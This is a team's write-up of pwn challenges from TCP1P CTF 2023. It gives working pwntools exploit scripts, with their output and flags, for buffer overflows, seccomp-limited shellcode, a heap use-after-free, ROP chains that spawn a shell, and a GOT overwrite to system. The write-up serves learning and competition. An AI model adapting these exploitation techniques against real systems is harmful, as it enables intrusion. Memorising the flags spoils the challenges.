Contents

TCP1P CTF 2023

https://i.imgur.com/wv7YFUB.png
TCP1P CTF 2023

Last weekend, I participated in TCP1P CTF 2023 with my team, Fidethus. We feel honored to secure the 4th place despite being a team of just three. Kudos to my teammates, Djavaa and Berlian! Below are some write-ups of the challenges from the CTF.

https://i.imgur.com/IZoW61C.png
We secured the 4th place!

Pwn

Bluffer Overflow

Description

Author: rennfurukawa

Maybe it’s your first time pwning? Can you overwrite the variable?

nc ctf.tcp1p.com 17027

Solution

We were given a source code file named chall.c.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <stdlib.h>

char buff[20];
int buff2;

void setup(){
	setvbuf(stdin, buff, _IONBF, 0);
	setvbuf(stdout, buff, _IONBF, 0);
	setvbuf(stderr, buff, _IONBF, 0);
}

void flag_handler(){
	FILE *f = fopen("flag.txt","r");
  	if (f == NULL) {
    	printf("Cannot find flag.txt!");
    	exit(0);
  }
}

void buffer(){
	buff2 = 0;
	printf("Can you get the exact value to print the flag?\n");
	printf("Input: ");
	fflush(stdout);
	gets(buff); 
	if (buff2 > 5134160) {
		printf("Too high!\n\n");
	} else if (buff2 == 5134160){
		printf("Congrats, You got the right value!\n");
	 	system("cat flag.txt");
	} else {
		printf("Sad, too low! :(, maybe you can add *more* value 0_0\n\n");
	}
	printf("\nOutput : %s, Value : %d \n", buff, buff2);
}

int main(){
	flag_handler();
	setup();
	buffer();
}

Observed that there’s a bug in the gets(buff) line of code, where we can input a string of any length. The objective here is to fill the buff2 value with 5134160 so the program prints the flag (note that the number 5134160 is a numerical representation of the word PWN). Since buff is merely a char array with a size of 20, it implies that by inputting 'a'*20 + 'PWN', the buff2 value would be overwritten.

1
2
3
4
5
nc ctf.tcp1p.com 17027
Can you get the exact value to print the flag?
Input: aaaaaaaaaaaaaaaaaaaaPWN
Congrats, You got the right value!
TCP1P{ez_buff3r_0verflow_l0c4l_v4r1abl3_38763f0c86da16fe14e062cd054d71ca}

Flag: TCP1P{ez_buff3r_0verflow_l0c4l_v4r1abl3_38763f0c86da16fe14e062cd054d71ca}

message

Description

Author: gawrgare

What do you want to say to me?

nc ctf.tcp1p.com 8008

Solution

This time, we were only given a binary named chall. First, let’s disassemble this binary.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *v4; // [rsp+0h] [rbp-10h]
  void *v5; // [rsp+8h] [rbp-8h]

  v4 = malloc(0x150uLL);
  v5 = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
  setup();
  seccomp_setup();
  if ( v5 != (void *)-1LL && v4 )
  {
    puts("Anything you want to tell me? ");
    read(0, v4, 0x150uLL);
    memcpy(v5, v4, 0x1000uLL);
    ((void (*)(void))v5)();
    free(v4);
    munmap(v5, 0x1000uLL);
    return 0;
  }
  else
  {
    perror("Allocation failed");
    return 1;
  }
}

In summary, it’s clear that we can provide input in the form of shellcode with a maximum length of 0x150. However, there’s seccomp in place, limiting the syscalls that we can invoke.

To find out what syscalls are allowed, let’s use seccomp-tools first.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
seccomp-tools dump ./chall       
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
 0006: 0x15 0x02 0x00 0x00000001  if (A == write) goto 0009
 0007: 0x15 0x01 0x00 0x00000002  if (A == open) goto 0009
 0008: 0x15 0x00 0x01 0x000000d9  if (A != getdents64) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

There are 4 allowed syscalls, namely read, write, open, and getdents64. First, let’s identify the name of the flag file using getdents64. We need to create shellcode that will execute the following instructions:

  • open('./', os.O_DIRECTORY)
  • getdents64(3, 'rsp', 0x100)
  • write(1, 'rsp', 0x100)

To simplify the exploitation, we can use pwntools. Here is the script I used:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from pwn import *
import os

context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

r = remote('ctf.tcp1p.com', 8008)
payload = asm(shellcraft.open('./', os.O_DIRECTORY))
payload += asm(shellcraft.getdents64(3, 'rsp', 0x100))
payload += asm(shellcraft.write(1, 'rsp', 0x100))
r.send(payload)
r.interactive()
1
2
3
Anything you want to tell me? 
Y`0\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00W`0\x00\x00\x00\x00\x00\x00\x00\x00..\x00\x00`0\x00\x00\x00\x00\x00\x00\x00\x00flag-3462d01f8e1bcc0d8318c4ec420dd482a82bd8b650d1e43bfc4671cf9856ee90.txt\x00\xdb39`0\x00\x00\x00\x00\x00\x00\x00\x00run_challenge.sh\x00\x00\x00_0\x00\x00\x00\x00\x00\x00\x00\x00chall\x00\xfc
                                                                                                                                           \xfe\xf5_0\x00\x00\x06\x00\x00\x00\x18\x04in\x00\x00\x00\x00

We can see that the flag’s filename is flag-3462d01f8e1bcc0d8318c4ec420dd482a82bd8b650d1e43bfc4671cf9856ee90.txt. Let’s promptly create new shellcode to read that flag using a combination of open-read-write.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from pwn import *
import os

context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

r = remote('ctf.tcp1p.com', 8008)
payload = asm(shellcraft.open('flag-3462d01f8e1bcc0d8318c4ec420dd482a82bd8b650d1e43bfc4671cf9856ee90.txt'))
payload += asm(shellcraft.read(3, 'rsp', 0x100))
payload += asm(shellcraft.write(1, 'rsp', 0x100))
r.send(payload)
r.interactive()
1
2
Anything you want to tell me? 
TCP1P{I_pr3fer_to_SAY_ORGW_rather_th4n_OGRW_d0nt_y0u_th1nk_so??}6ee90.txt\x00\x00\x00\x00\xf4\xb8=V\x00\xa0\xe22=V\x00\x00\xbdm"\x7f\x00\x00\x00\x00\x00\xed\x97m"\x7f\x00\x00\x00\x00\x00\xb7\xf3\xb8=V\x00\x00\x00\x00\x00\xed\xaeR\xff\x7f\x00\x00\x00\x00\x00\x83IwLG\xc2\xa1\x18\xaeR\xff\x7f\x00\xb7\xf3\xb8=V\x00X\x1d\x15V\x00@\xb0\xbdm"\x7f\x00\x83IU\x94\x1a\xff^\x83I\xfd\x96hE_\x00\x00\x00\x00\x00

Flag: TCP1P{I_pr3fer_to_SAY_ORGW_rather_th4n_OGRW_d0nt_y0u_th1nk_so??}

babyheap

Description

Author: HyggeHalcyon

let’s see how well you understand the heap

nc ctf.tcp1p.com 4267

Solution

We were given a binary called chall. Let’s disassemble it first.

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __cdecl main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  while ( 1 )
  {
    switch ( (unsigned int)menu() )
    {
      case 1u:
        create();
        break;
      case 2u:
        delete();
        break;
      case 3u:
        view();
        break;
      case 4u:
        read_flag();
        break;
      case 5u:
        puts("[*] exiting...");
        exit(0);
      default:
        puts("[!] unknown choice");
        break;
    }
  }
}

There are four types of menus available. Let’s explore each of it first.

create

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 create()
{
  int v1; // [rsp+8h] [rbp-48h]
  int n; // [rsp+Ch] [rbp-44h]
  char s[40]; // [rsp+10h] [rbp-40h] BYREF
  unsigned __int64 v4; // [rsp+38h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  printf("Index: ");
  fgets(s, 32, stdin);
  v1 = atoi(s);
  if ( v1 > 0 && v1 <= 10 )
  {
    if ( *((_QWORD *)&user_chunk + v1 - 1) )
    {
      puts("[!] oops, chunk already occupied");
      return v4 - __readfsqword(0x28u);
    }
    printf("Size: ");
    fgets(s, 32, stdin);
    n = atoi(s);
    if ( n > 15 && n <= 256 )
    {
      *((_QWORD *)&user_chunk + v1 - 1) = malloc(n);
      printf("Content: ");
      fgets(*((char **)&user_chunk + v1 - 1), n, stdin);
      puts("[*] creation success");
      return v4 - __readfsqword(0x28u);
    }
  }
  puts("[!] sorry can't do that");
  return v4 - __readfsqword(0x28u);
}

In this menu, we can create a chunk, where the creation process will allocate memory using malloc based on the size we provide. Then, we can fill in the value in that chunk through fgets.

view

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 view()
{
  int v1; // [rsp+Ch] [rbp-34h]
  char s[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+38h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index: ");
  fgets(s, 32, stdin);
  v1 = atoi(s);
  if ( v1 > 0 && v1 <= 10 )
  {
    if ( *((_QWORD *)&user_chunk + v1 - 1) )
      printf("[*] Data: %s\n", *((const char **)&user_chunk + v1 - 1));
    else
      puts("[!] chunk is empty");
  }
  else
  {
    puts("[!] sorry can't do that");
  }
  return v3 - __readfsqword(0x28u);
}

With this menu, we can view the contents of the chunk we want based on the index we input.

delete

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 delete()
{
  int v1; // [rsp+Ch] [rbp-34h]
  char s[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+38h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index: ");
  fgets(s, 32, stdin);
  v1 = atoi(s);
  if ( v1 > 0 && v1 <= 10 )
  {
    free(*((void **)&user_chunk + v1 - 1));
    puts("[*] deletion success");
  }
  else
  {
    puts("[!] sorry can't do that");
  }
  return v3 - __readfsqword(0x28u);
}

This menu is used to delete a chunk we’ve created. There’s a bug in this menu, where after performing free, the stored pointer from the malloc retained in the user_chunk array isn’t cleared. Consequently, even though we’ve deleted that chunk, we can still view its contents later.

read_flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
int read_flag()
{
  int i; // [rsp+4h] [rbp-Ch]
  FILE *stream; // [rsp+8h] [rbp-8h]

  stream = fopen("flag.txt", "r");
  if ( stream )
  {
    for ( i = 0; i <= 3; ++i )
      flag_chunk = (char *)malloc(0x70uLL);
    flag_chunk = (char *)malloc(0x70uLL);
    fgets(flag_chunk, 112, stream);
    fclose(stream);
    return puts("[*] flag loaded into memory");
  }
  else
  {
    puts("[!] flag.txt not found");
    return puts("[!] if this happened on the remote server, please contact admin.");
  }
}

This menu will call malloc(0x70) five times and then fill the last malloc chunk with the flag.

Based on the information obtained earlier, we see that the bug in the delete menu can be exploited to view the flag’s contents.

Note that when a chunk is removed through free, that chunk enters a cache managed by glibc, so the freed chunk can be reused when the program requests malloc again.

Given the previously discovered bug in the delete menu, we can exploit it by:

  • Creating chunk five times with a size of 0x70 (the same size as the flag).
  • Deleting them all.
    • There will be five chunks in the cache.
  • Calling read_flag.
    • read_flag will reuse the chunks we’ve previously deleted.
  • Using the view feature to see the contents of these chunks. One of the chunks will contain the flag.

Here is the demonstration:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
nc ctf.tcp1p.com 4267
Menu:
(1) create [1-10]
(2) delete [1-10]
(3) view   [1-10]
(4) flag
(5) exit
> 1
Index: 1
Size: 112
Content: a
[*] creation success
Menu:
(1) create [1-10]
(2) delete [1-10]
(3) view   [1-10]
(4) flag
(5) exit
> 1
Index: 2
Size: 112
Content: a
[*] creation success
Menu:
(1) create [1-10]
(2) delete [1-10]
(3) view   [1-10]
(4) flag
(5) exit
> 1
Index: 3
Size: 112
Content: a
[*] creation success
Menu:
(1) create [1-10]
(2) delete [1-10]
(3) view   [1-10]
(4) flag
(5) exit
> 1
Index: 4
Size: 112
Content: a
[*] creation success
Menu:
(1) create [1-10]
(2) delete [1-10]
(3) view   [1-10]
(4) flag
(5) exit
> 1
Index: 5  
Size: 112
Content: a
[*] creation success
Menu:
(1) create [1-10]
(2) delete [1-10]
(3) view   [1-10]
(4) flag
(5) exit
> 2
Index: 1
[*] deletion success
Menu:
(1) create [1-10]
(2) delete [1-10]
(3) view   [1-10]
(4) flag
(5) exit
> 2
Index: 2
[*] deletion success
Menu:
(1) create [1-10]
(2) delete [1-10]
(3) view   [1-10]
(4) flag
(5) exit
> 2
Index: 3
[*] deletion success
Menu:
(1) create [1-10]
(2) delete [1-10]
(3) view   [1-10]
(4) flag
(5) exit
> 2
Index: 4
[*] deletion success
Menu:
(1) create [1-10]
(2) delete [1-10]
(3) view   [1-10]
(4) flag
(5) exit
> 2
Index: 5
[*] deletion success
Menu:
(1) create [1-10]
(2) delete [1-10]
(3) view   [1-10]
(4) flag
(5) exit
> 4
[*] flag loaded into memory
Menu:
(1) create [1-10]
(2) delete [1-10]
(3) view   [1-10]
(4) flag
(5) exit
> 3
Index: 1
[*] Data: TCP1P{k4mu_m4kan_ap4_1ni_k0q_un1qu3_s3k4li_yh_k4kung_chef_0ma1good_r3cyle???}

Flag: TCP1P{k4mu_m4kan_ap4_1ni_k0q_un1qu3_s3k4li_yh_k4kung_chef_0ma1good_r3cyle???}

Game Changer

Description

Author: itoid

Are you a Game Changer?

nc ctf.tcp1p.com 9254

Solution

We were given a file called gamechanger. Let’s check its mitigation first:

1
2
3
4
5
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Only canary is disabled. Now, let’s try to disasemble it: main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v4; // [rsp+4h] [rbp-Ch] BYREF
  int v5; // [rsp+8h] [rbp-8h]
  unsigned int v6; // [rsp+Ch] [rbp-4h]

  init(argc, argv, envp);
  printf("Do you want to play a game? (1: Yes, 0: No): ");
  while ( (unsigned int)__isoc99_scanf("%d", &v4) != 1 || v4 > 1 )
  {
    while ( getchar() != 10 )
      ;
    printf("Invalid choice. Please enter 1 or 0: ");
  }
  while ( getchar() != 10 )
    ;
  if ( v4 )
  {
    if ( v4 == 1 )
    {
      v6 = 1;
      v5 = 0;
      while ( (int)v6 <= 5 && !v5 )
      {
        printf("Attempt %d:\n", v6);
        v5 = game();
        ++v6;
      }
      if ( v5 )
        ask();
      else
        puts("You couldn't guess the number. Better luck next time!");
    }
  }
  else
  {
    puts("Okay, maybe another time!");
  }
  return 0;
}

game

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 game()
{
  char s[20]; // [rsp+0h] [rbp-20h] BYREF
  int num_inp; // [rsp+14h] [rbp-Ch]
  unsigned int rand_result; // [rsp+18h] [rbp-8h]
  unsigned int v4; // [rsp+1Ch] [rbp-4h]

  v4 = 0;
  rand_result = randomize();
  puts("Let's play a game, try to guess a number between 1 and 100");
  fgets(s, 16, stdin);
  num_inp = atoi(s);
  if ( !num_inp )
  {
    puts("That's not a number");
    exit(0);
  }
  if ( num_inp == rand_result )
  {
    return 1;
  }
  else if ( num_inp >= (int)rand_result )
  {
    printf("Nope");
  }
  else
  {
    printf("Nope, the number i'm thinking is %d\n", rand_result);
  }
  return v4;
}

randomize

1
2
3
4
5
6
7
8
__int64 randomize()
{
  unsigned int v0; // eax

  v0 = time(0LL);
  srand(v0);
  return (unsigned int)((rand() + 34) % 23);
}

ask

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
int ask()
{
  char buf[256]; // [rsp+0h] [rbp-100h] BYREF

  puts("Congrats, you guessed it correctly. What do you want to do this morning?");
  read(0, buf, 290uLL);
  if ( strlen(buf) <= 0x7F )
  {
    puts("Oh, are you an introverted person?");
    exit(0);
  }
  return printf("Oh, you want to %s...\nWow, you're a very active person!\n", buf);
}

To pass the game, it is very easy to predict the randomize() result because the seed is using current time.

Another thing is there is buffer overflow bug in ask. Observed that we can actually get a leak as well from it, considering our input will be printed.

Debugging through GDB, we can see that if we try to overwrite the last 2 bytes of stored RIP inside ask function stack, we can actually get a PIE leak + back to ask again to do the buffer overflow again. Notes that overwriting the last 2 bytes required a bit of bruteforce 4 nibbles.

After that, I overwrite the stored RIP of ask function stack to main, and then overwrite the stored RIP of main function stack back to ask. The reason here is that, main will insert libc address of atoi+20 near our stored input in ask after observing in GDB. With this, we can get a libc leak, and when the main want to return, it will be back to ask again due to our previous write. Now that we have a libc leak, we can simply overwrite the stored RIP with one_gadget to get a shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
from ctypes import CDLL
from ctypes.util import find_library

libc_dll = CDLL(find_library("c"))

context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

exe = ELF('./gamechanger')
libc = ELF('./libc.so.6')

# 
while True:
    try:
        libc.address = 0x0
        exe.address = 0x0
        if args.LOCAL:
            r = process('./gamechanger')
        else:
            r = remote('ctf.tcp1p.com', 9254)

        # Bypass game check
        r.sendlineafter(b': ', b'1')
        r.recvuntil(b'Attempt 1:\n')
        libc_dll.srand(libc_dll.time(0))
        rand_out = libc_dll.rand()
        info(f'{rand_out = }')
        guess = (rand_out + 34) % 23
        info(f'{guess = }')
        r.sendlineafter(b'1 and 100\n', str(guess).encode())
        out = r.recvline()
        info(f'{out = }')

        # Bruteforce, overwrite RIP to `ask+1`
        payload = b'a'*0x108+p16(0x535b)
        r.send(payload)
        r.recvuntil(b'want to ')
        out = u64((r.recvuntil(b'...\n')[0x108:-4])[:6].ljust(8, b'\x00'))
        info(f'{hex(out) = }')

        exe.address = out - (exe.sym.ask+1)
        info(f'PIE: {hex(exe.address)}')

        # Overwrite RIP to `ask+1` again, we need this for the sake of stack layout,
        # so that we can later on overwrite `main` stored RIP.
        payload = b'a'*0x100
        payload += p64(exe.bss()+0x100)+p64(exe.sym.ask+1)
        r.send(payload)

        # Due to previous call, the buffer overflow in `ask` now can overwrite the
        # `main` stored RIP as well.
        # Overwrite `ask` stored RIP to `main+1`
        # Overwrite `main` stored RIP to `ask+1`
        payload = b'a'*0x100
        payload += p64(exe.bss()+0x100)+p64(exe.sym.main+1)
        payload += p64(exe.bss()+0x100)+p64(exe.sym.ask+1)
        pause()
        r.send(payload)

        r.sendlineafter(b': ', b'1')
        r.recvuntil(b'Attempt 1:\n')
    except:
        r.close()
        continue

    # Bypass game check
    libc_dll.srand(libc_dll.time(0))
    rand_out = libc_dll.rand()
    info(f'{rand_out = }')
    guess = (rand_out + 34) % 23
    info(f'{guess = }')
    r.sendlineafter(b'1 and 100\n', str(guess).encode())
    out = r.recvline()
    info(f'{out = }')

    # Leak libc address
    payload = b'a'*0xc8
    r.send(payload)
    r.recvuntil(b'want to ')
    out = u64((r.recvuntil(b'...\n')[0xc8:-4])[:6].ljust(8, b'\x00'))
    info(f'{hex(out) = }')
    libc.address = out - (libc.sym.atoi+0x14)

    # Overwrite RIP with one_gadget
    payload = b'a'*0x100
    payload += p64(exe.bss()+0x100)
    payload += p64(libc.address+0xebcf5)
    r.send(payload)

    r.interactive()

Flag: TCP1P{w0w_1ve_n3v3r_533n_5uch_4_900d_g4m3_ch4n93r_29c19ff69c5760fee1db8cac282a7b073bec936f}

unsafe safe

Description

Author: zran

So I just turned 17 and decided to make a bank account to deposit my money. This bank stores the money is safes, so it should be safe right?

nc ctf.tcp1p.com 1477

Solution

In this challenge, we are provided with a source code unsafe.c, along with its binary and the used libc. First, we check the mitigations applied to the binary with checksec.

1
2
3
4
5
6
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  '.'

Partial RELRO means we can overwrite the GOT. Now, let’s look at the provided source code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>

unsigned long safes[100] = {7955998170729676800};
char *exit_message = "Have a nice day!";

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void deposit() {
    int index = 0;
    int amount = 0;
    puts("Enter the safe number you want to deposit in (0-100): ");
    scanf("%d", &index);
    puts("Enter the amount you want to deposit: ");
    scanf("%d", &amount);
    safes[index] += amount;
}

void login() {
    unsigned long age, input, password;
    char pet_name[5] = "\0\0\0\0\0";
    puts("Input your age: ");
    scanf("%lu", &age);
    if (age < 17) {
        puts("Sorry, this is not a place for kids");
        exit(0);
    }
    puts("Input your pet name: ");
    scanf("%5c", pet_name);
    srand(time(NULL) * (*(short *)pet_name * *(short *)(pet_name + 2) + age));
    password = rand();
    puts("Input your password: ");
    scanf("%lu", &input);
    if (input != password) {
        puts("Password Wrong!");
        exit(0);
    }
}

int main() {
    init();
    login();
    deposit();
    deposit();
    deposit();
    puts(exit_message);
}

Looking at the code above, we can identify two bugs:

  • In the login function, the seed used by srand involves the current time along with the pet_name and age variables, which we can control. Therefore, the seed is predictable, and we can easily determine the password value filled in by the rand() result.
    • Thus, we can ensure that we will successfully login and proceed to the next function.
  • In the deposit function, there’s no validation for the index value we input.
    • This results in an Out-of-Bound Write (OOB) relative to the position of the safes array in the line of code safes[index] += amount.
    • Note that the safes array is a global variable, so its position will be in the bss segment.

We are given three OOB writes before the program calls puts(exit_message). Based on the above information, with these three OOB writes, one scenario we can do is:

  • With the first write, we can store the string /bin/sh in the safes array.
    • Notice in the code above that safes has an initial value of 7955998170729676800 (a numeral representation of \x00\x00\x00\x00/bin), which means safes+4 is /bin.
    • We only need to write /sh to safes[1] (safes+8), making the address safes+4 the string /bin/sh.
  • Note that exit_message is a pointer to char. With the second OOB write, we can change its stored value so that its address becomes the address of safes+4.
    • This change will make exit_message the string /bin/sh.
  • Lastly, because of Partial RELRO, we can overwrite the GOT value of puts with the address of system, so when we call puts, what gets invoked is system.

If we execute the above scenario, when the program calls puts(exit_message), it will execute system("/bin/sh").

Here is the solver script we used:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
from ctypes import CDLL
from ctypes.util import find_library

libc_dll = CDLL(find_library("c"))

exe = ELF("unsafe_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe
context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

remote_url = "ctf.tcp1p.com"
remote_port = 1477
gdbscript = '''
'''

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.PLT_DEBUG:
            # gdb.attach(r, gdbscript=gdbscript)
            pause()
    else:
        r = remote(remote_url, remote_port)

    return r

def demangle(val, is_heap_base=False):
    if not is_heap_base:
        mask = 0xfff << 52
        while mask:
            v = val & mask
            val ^= (v >> 12)
            mask >>= 12
        return val
    return val << 12

def mangle(heap_addr, val):
    return (heap_addr >> 12) ^ val

r = conn()

# Login
r.sendlineafter(b'age: \n', b'17')
r.sendafter(b'name: \n', b'\x00'*4)
ts = libc_dll.time(0)
seed = (ts*17) % 2**32
libc_dll.srand(seed)
password = libc_dll.rand()
info(f'{password = }')
r.sendlineafter(b'password: ', str(password).encode())

# Write /sh
r.sendlineafter(b'(0-100): ', str(1).encode())
r.sendlineafter(b'deposit: ', str(0x68732f).encode())

# Ovewrite exit_message to safes+4
r.sendlineafter(b'(0-100): ', str(100).encode())
r.sendlineafter(b'deposit: ', str(0x205c).encode()) # Value is retrieved based on observation in GDB

# Overwrite puts with system
r.sendlineafter(b'(0-100): ', str(-12).encode())
r.sendlineafter(b'deposit: ', str(libc.sym.system-libc.sym.puts).encode())

r.interactive()

Jalankan script, dan kita pun mendapatkan shell.

1
2
3
4
5
6
[+] Opening connection to ctf.tcp1p.com on port 1477: Done
[*] password = 75291657
[*] Switching to interactive mode

$ cat flag.txt
TCP1P{bYp45s_tH3_l091n_4nd_0v3rwR1te_pUt5_t0_sy5t3m_4Nd_g3t_5hELl}

Flag: TCP1P{bYp45s_tH3_l091n_4nd_0v3rwR1te_pUt5_t0_sy5t3m_4Nd_g3t_5hELl}

NakiriAyame

Description

Author: HyggeHalcyon

Ayame cute noises (✿╹◡╹) https://www.youtube.com/watch?v=XsdQguLgvFc https://www.youtube.com/watch?v=NPMhb_mIIhU

nc ctf.tcp1p.com 6666

Solution

We were given a binary called ojou. Trying to disassemble it, we noticed that it’s a golang binary, which is statically linked. We didn’t want to check the whole disassembled result, so we just ran the binary, tried some inputs, and sometimes peeked at the disassembled result.

1
2
3
nc ctf.tcp1p.com 6666             
Who's the cutest vtuber?
>> 

Looking through the disassembly, we saw that we need to respond with Ojou! <3 for the binary to return YES and a gift, which is the address of /bin/sh. This information is somewhat pointless because the binary is statically linked, meaning we already know the address of /bin/sh.

Playing around with it, we found that there’s a crash log if we input a bunch of as after the null-terminated string Ojou! <3. Here’s an example of the crash log when we send the input b'Ojou! <3\x00' + b'a'*0x180:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
[+] Starting local process './ojou': pid 15303
[*] Switching to interactive mode
Who's the cutest vtuber?
>> YES
Gift for you: *(0x520690)
runtime: out of memory: cannot allocate 7016996765295443968-byte block (3899392 in use)
fatal error: out of memory

goroutine 1 [running]:
runtime.throw({0x4988c7?, 0x476d8c?})
    /usr/local/go/src/runtime/panic.go:1077 +0x5c fp=0xc0000aeca0 sp=0xc0000aec70 pc=0x4308fc
runtime.(*mcache).allocLarge(0x1a?, 0x6161616161616161, 0x1?)
    /usr/local/go/src/runtime/mcache.go:236 +0x176 fp=0xc0000aece8 sp=0xc0000aeca0 pc=0x412db6
runtime.mallocgc(0x6161616161616161, 0x0, 0x0)
    /usr/local/go/src/runtime/malloc.go:1123 +0x4f6 fp=0xc0000aed50 sp=0xc0000aece8 pc=0x40b956
runtime.slicebytetostring(0xc0000aef77?, 0x6161616161616161, 0x6161616161616161)
    /usr/local/go/src/runtime/string.go:112 +0x77 fp=0xc0000aed80 sp=0xc0000aed50 pc=0x44a1b7
main.main()
    /home/kali/Desktop/kirakira/main.go:37 +0x2e7 fp=0xc0000aef40 sp=0xc0000aed80 pc=0x47ddc7
runtime: g 1: unexpected return pc for main.main called from 0x6161616161616161

Based on the error message, we concluded that there’s a buffer overflow, and we could probably do ROP to call execve("/bin/sh", 0, 0). After some experimentation to find the appropriate offset, we discovered that we need to add 0x141 characters after Ojou! <3\x00 to start affecting the PC.

So, the next step was just to locate the suitable gadgets with the assistance of ROPGadget, and then carry out the ROP. Below is the complete script that we used:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

r = remote('ctf.tcp1p.com', 6666)

pop_rax_rbp = 0x004723ca
pop_rdi = 0x004726a4
pop_rdx = 0x00479d7a
syscall = 0x00465b2d

vtuber = b'Ojou! <3\x00'

# ROP to trigger execve("/bin/sh", 0, 0)
payload = b'\x00'*1
payload += b'\x00'*(0x140)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(pop_rax_rbp)
payload += p64(0x400160) # Set [rax] to 0
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(0x497d19)
payload += p64(pop_rax_rbp)
payload += p64(0x3b)
payload += p64(0)
payload += p64(syscall)
r.sendlineafter(b'>> ', vtuber+payload)
r.interactive()

Running the script, we got the shell:

1
2
3
4
5
6
[+] Opening connection to ctf.tcp1p.com on port 6666: Done
[*] Switching to interactive mode
YES
Gift for you: *(0x520690)
Ayame  cuteeee$ cat flag.txt
TCP1P{Ojou_sama_no_giggles_cuteness_overload_kawayoooooo!}

